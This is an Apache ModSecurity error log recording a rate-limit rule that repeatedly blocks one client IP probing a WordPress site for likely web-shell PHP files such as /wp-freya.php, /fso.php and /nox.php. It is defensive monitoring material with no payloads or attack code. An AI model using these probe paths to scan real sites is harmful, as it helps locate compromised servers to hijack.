[Wed Jan 07 00:15:29.003515 2026] [:error] [pid 35140:tid 35166] [client 20.196.88.169:3172] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hlonk.php"] [unique_id "aV01IXoQaIDFMbT-XMwIUwAAARg"]
[Wed Jan 07 00:15:29.277670 2026] [:error] [pid 45959:tid 45971] [client 20.196.88.169:26896] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sagym.php"] [unique_id "aV01IVajdn8P3hjgMYwxzgAAAUk"]
[Wed Jan 07 00:15:29.547333 2026] [:error] [pid 45959:tid 45966] [client 20.196.88.169:18679] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sagym.php"] [unique_id "aV01IVajdn8P3hjgMYwxzwAAAUQ"]
[Wed Jan 07 00:15:29.824422 2026] [:error] [pid 45959:tid 45980] [client 20.196.88.169:26891] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sagym.php"] [unique_id "aV01IVajdn8P3hjgMYwx0AAAAVI"]
[Wed Jan 07 00:15:30.096865 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:21699] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sagym.php"] [unique_id "aV01Ilajdn8P3hjgMYwx0gAAAVM"]
[Wed Jan 07 00:15:30.370165 2026] [:error] [pid 45959:tid 45984] [client 20.196.88.169:27623] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qvaaq.php"] [unique_id "aV01Ilajdn8P3hjgMYwx0wAAAVY"]
[Wed Jan 07 00:15:30.638459 2026] [:error] [pid 45012:tid 45024] [client 20.196.88.169:27680] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qvaaq.php"] [unique_id "aV01IhaMAxCuju1d0uZBOgAAAMo"]
[Wed Jan 07 00:15:30.918838 2026] [:error] [pid 44905:tid 44974] [client 20.196.88.169:3164] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qvaaq.php"] [unique_id "aV01Iru7ufwWVst9EAsgrgAAAIY"]
[Wed Jan 07 00:15:31.190884 2026] [:error] [pid 45012:tid 45037] [client 20.196.88.169:27696] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qvaaq.php"] [unique_id "aV01IxaMAxCuju1d0uZBOwAAANc"]
[Wed Jan 07 00:15:31.460503 2026] [:error] [pid 45012:tid 45036] [client 20.196.88.169:26934] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aV01IxaMAxCuju1d0uZBPAAAANY"]
[Wed Jan 07 00:15:31.730220 2026] [:error] [pid 44903:tid 44930] [client 20.196.88.169:3749] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aV01I9hHqjs38zbkQPBQ3wAAABY"]
[Wed Jan 07 00:15:32.010086 2026] [:error] [pid 44903:tid 44923] [client 20.196.88.169:26910] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aV01JNhHqjs38zbkQPBQ4AAAABA"]
[Wed Jan 07 00:15:32.281822 2026] [:error] [pid 35140:tid 35142] [client 20.196.88.169:28574] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aV01JHoQaIDFMbT-XMwIVgAAAQA"]
[Wed Jan 07 00:15:32.551549 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:3587] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aV01JFajdn8P3hjgMYwx2AAAAU0"]
[Wed Jan 07 00:15:32.821064 2026] [:error] [pid 45012:tid 45022] [client 20.196.88.169:28551] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aV01JBaMAxCuju1d0uZBQAAAAMg"]
[Wed Jan 07 00:15:33.090496 2026] [:error] [pid 35140:tid 35144] [client 20.196.88.169:26893] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aV01JXoQaIDFMbT-XMwIWQAAAQI"]
[Wed Jan 07 00:15:33.360503 2026] [:error] [pid 44905:tid 44988] [client 20.196.88.169:18673] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aV01Jbu7ufwWVst9EAsgsgAAAJQ"]
[Wed Jan 07 00:15:33.632922 2026] [:error] [pid 44905:tid 44986] [client 20.196.88.169:35424] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01Jbu7ufwWVst9EAsgswAAAJI"]
[Wed Jan 07 00:15:33.904134 2026] [:error] [pid 44904:tid 44947] [client 20.196.88.169:3628] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01JTtieuI1BJEZcvdqQQAAAEY"]
[Wed Jan 07 00:15:34.182293 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:18642] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01Jru7ufwWVst9EAsgtQAAAIM"]
[Wed Jan 07 00:15:34.454110 2026] [:error] [pid 35140:tid 35165] [client 20.196.88.169:21753] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01JnoQaIDFMbT-XMwIWwAAARc"]
[Wed Jan 07 00:15:34.738216 2026] [:error] [pid 44904:tid 44944] [client 20.196.88.169:3613] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aV01JjtieuI1BJEZcvdqRAAAAEM"]
[Wed Jan 07 00:15:35.021327 2026] [:error] [pid 45959:tid 45972] [client 20.196.88.169:3614] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aV01J1ajdn8P3hjgMYwx3gAAAUo"]
[Wed Jan 07 00:15:35.301418 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:3631] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aV01JxaMAxCuju1d0uZBRAAAAMI"]
[Wed Jan 07 00:15:35.570387 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:35415] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aV01J1ajdn8P3hjgMYwx4QAAAUY"]
[Wed Jan 07 00:15:35.839842 2026] [:error] [pid 44904:tid 44954] [client 20.196.88.169:28590] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/frg.php"] [unique_id "aV01JztieuI1BJEZcvdqRgAAAE0"]
[Wed Jan 07 00:15:36.119825 2026] [:error] [pid 44903:tid 44910] [client 20.196.88.169:27615] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/frg.php"] [unique_id "aV01KNhHqjs38zbkQPBQ4wAAAAM"]
[Wed Jan 07 00:15:36.401035 2026] [:error] [pid 44905:tid 44981] [client 20.196.88.169:28592] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/frg.php"] [unique_id "aV01KLu7ufwWVst9EAsgtwAAAI0"]
[Wed Jan 07 00:15:36.673303 2026] [:error] [pid 44905:tid 44977] [client 20.196.88.169:26926] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/frg.php"] [unique_id "aV01KLu7ufwWVst9EAsguAAAAIk"]
[Wed Jan 07 00:15:36.941494 2026] [:error] [pid 44903:tid 44919] [client 20.196.88.169:27605] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aV01KNhHqjs38zbkQPBQ5QAAAAw"]
[Wed Jan 07 00:15:37.219765 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:26892] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aV01KRaMAxCuju1d0uZBRgAAANA"]
[Wed Jan 07 00:15:37.488729 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:28567] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aV01Kbu7ufwWVst9EAsguQAAAIE"]
[Wed Jan 07 00:15:37.757669 2026] [:error] [pid 45959:tid 45982] [client 20.196.88.169:26936] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aV01KVajdn8P3hjgMYwx5AAAAVQ"]
[Wed Jan 07 00:15:38.031942 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:26924] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "aV01Klajdn8P3hjgMYwx5QAAAVE"]
[Wed Jan 07 00:15:38.304087 2026] [:error] [pid 44904:tid 44952] [client 20.196.88.169:28548] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "aV01KjtieuI1BJEZcvdqRwAAAEs"]
[Wed Jan 07 00:15:38.580777 2026] [:error] [pid 45959:tid 45977] [client 20.196.88.169:26900] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "aV01Klajdn8P3hjgMYwx5gAAAU8"]
[Wed Jan 07 00:15:38.867629 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:21732] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hly.php"] [unique_id "aV01Klajdn8P3hjgMYwx6QAAAVc"]
[Wed Jan 07 00:15:39.137249 2026] [:error] [pid 44904:tid 44948] [client 20.196.88.169:26943] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "aV01KztieuI1BJEZcvdqSQAAAEc"]
[Wed Jan 07 00:15:39.416820 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:21696] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "aV01KxaMAxCuju1d0uZBSAAAAMw"]
[Wed Jan 07 00:15:39.688011 2026] [:error] [pid 45959:tid 45962] [client 20.196.88.169:21814] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "aV01K1ajdn8P3hjgMYwx7AAAAUA"]
[Wed Jan 07 00:15:39.958832 2026] [:error] [pid 44904:tid 44951] [client 20.196.88.169:26911] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "aV01KztieuI1BJEZcvdqSgAAAEo"]
[Wed Jan 07 00:15:40.228426 2026] [:error] [pid 45012:tid 45036] [client 20.196.88.169:35438] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aV01LBaMAxCuju1d0uZBSgAAANY"]
[Wed Jan 07 00:15:40.498276 2026] [:error] [pid 45959:tid 45969] [client 20.196.88.169:28575] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aV01LFajdn8P3hjgMYwx7gAAAUc"]
[Wed Jan 07 00:15:40.770883 2026] [:error] [pid 44904:tid 44965] [client 20.196.88.169:3600] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aV01LDtieuI1BJEZcvdqTAAAAFg"]
[Wed Jan 07 00:15:41.041360 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:27692] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aV01Lbu7ufwWVst9EAsgvAAAAJM"]
[Wed Jan 07 00:15:41.313413 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:21737] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "aV01LVajdn8P3hjgMYwx8AAAAUU"]
[Wed Jan 07 00:15:41.587133 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:18648] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "aV01LVajdn8P3hjgMYwx8gAAAU0"]
[Wed Jan 07 00:15:41.860370 2026] [:error] [pid 45959:tid 45982] [client 20.196.88.169:23116] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "aV01LVajdn8P3hjgMYwx8wAAAVQ"]
[Wed Jan 07 00:15:42.131583 2026] [:error] [pid 45012:tid 45031] [client 20.196.88.169:28588] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "aV01LhaMAxCuju1d0uZBTwAAANE"]
[Wed Jan 07 00:15:42.418800 2026] [:error] [pid 45959:tid 45977] [client 20.196.88.169:28550] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fso.php"] [unique_id "aV01Llajdn8P3hjgMYwx9AAAAU8"]
[Wed Jan 07 00:15:42.691586 2026] [:error] [pid 45959:tid 45984] [client 20.196.88.169:23139] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fso.php"] [unique_id "aV01Llajdn8P3hjgMYwx9wAAAVY"]
[Wed Jan 07 00:15:42.968935 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:3638] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fso.php"] [unique_id "aV01Llajdn8P3hjgMYwx-QAAAUs"]
[Wed Jan 07 00:15:43.243685 2026] [:error] [pid 44904:tid 44945] [client 20.196.88.169:21702] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fso.php"] [unique_id "aV01LztieuI1BJEZcvdqUAAAAEQ"]
[Wed Jan 07 00:15:43.512759 2026] [:error] [pid 45959:tid 45986] [client 20.196.88.169:28560] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aV01L1ajdn8P3hjgMYwx-wAAAVg"]
[Wed Jan 07 00:15:43.781000 2026] [:error] [pid 44904:tid 44963] [client 20.196.88.169:27684] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aV01LztieuI1BJEZcvdqUgAAAFY"]
[Wed Jan 07 00:15:44.068864 2026] [:error] [pid 44905:tid 44968] [client 20.196.88.169:18670] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aV01MLu7ufwWVst9EAsgwwAAAIA"]
[Wed Jan 07 00:15:44.345980 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:26890] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aV01MDtieuI1BJEZcvdqVAAAAFc"]
